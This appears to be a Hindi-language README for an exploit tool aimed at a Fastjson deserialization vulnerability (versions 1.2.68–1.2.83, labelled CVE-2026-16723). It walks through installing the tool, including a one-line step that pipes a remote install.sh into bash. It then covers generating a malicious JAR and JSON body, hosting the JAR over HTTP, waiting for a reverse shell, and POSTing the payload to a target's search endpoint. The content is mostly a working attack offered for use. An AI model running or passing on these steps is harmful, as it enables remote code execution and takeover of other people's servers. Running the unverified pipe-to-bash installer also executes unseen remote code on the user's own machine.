
एक गंभीर भेद्यता जो Fastjson संस्करण 1.2.68 – 1.2.83 को प्रभावित करती है।
Linux (या Windows पर WSL)
C++17 संगत कंपाइलर (GCC 7+ या Clang 5+)
CMake 3.10 या नया
सिस्टम पैकेज:
libzip-devzlib1g-devsudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev
एक ही कमांड से सब कुछ इंस्टॉल करें:
curl -sSL https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh | bash
या इंस्टॉलर को मैन्युअल रूप से डाउनलोड करके निष्पादित करें:
wget https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh
इंस्टॉलेशन स्क्रिप्ट निम्न कार्य करेगी:
सभी आवश्यक सिस्टम पैकेज इंस्टॉल करेगी।
आवश्यक हेडर-ओनली लाइब्रेरीज़ डाउनलोड करेगी:
nlohmann/jsoncpp-httplibप्रोजेक्ट बिल्ड करेगी।
कंपाइल किए गए बाइनरी को वर्तमान डायरेक्टरी में इस प्रकार रखेगी:
./exploit
यदि आपने रिपॉज़िटरी क्लोन की है:
git clone https://github.com/1xPwn/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh
या मैन्युअल रूप से बिल्ड करें:
mkdir build
cd build
cmake ..
make -j$(nproc)
cp exploit ../
बाइनरी चलाएँ:
./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]
./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000
निष्पादन के बाद निम्नलिखित फ़ाइलें बनाई जाएँगी:
x
body.json
HTTP सर्वर कॉन्फ़िगर किए गए पोर्ट (डिफ़ॉल्ट: 8000) पर शुरू होगा और टूल आने वाले रिवर्स शेल कनेक्शन की प्रतीक्षा करेगा।
उत्पन्न body.json फ़ाइल को भेद्य एंडपॉइंट पर भेजें:
curl -X POST http://<TARGET_IP>:8080/api/products/search \
-H "Content-Type: application/json" \
--data-binary @body.json
यदि एप्लिकेशन किसी भिन्न JSON फ़ील्ड की अपेक्षा करता है, तो इसे --field विकल्प का उपयोग करके निर्दिष्ट करें।
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--lhost | स्थानीय IP पता | आवश्यक |
--lport | रिवर्स शेल सुनने का पोर्ट | 4444 |
--http-port | HTTP सर्वर पोर्ट | 8000 |
--first | आज़माने के लिए पहला फ़ाइल डिस्क्रिप्टर | 3 |
--last | आज़माने के लिए अंतिम फ़ाइल डिस्क्रिप्टर | 30 |
--field | JSON फ़ील्ड का नाम | facets |
--outdir | आउटपुट डायरेक्टरी | . |
-h, --help | सहायता संदेश दिखाएँ | — |
| फ़ाइल | विवरण |
|---|---|
x | उत्पन्न JAR पेलोड |
body.json | लक्ष्य को भेजने के लिए JSON पेलोड |
jar:http और jar:file प्रोटोकॉल का उपयोग करके एक रिमोट JAR डाउनलोड और लोड करने के लिए बाध्य करता है।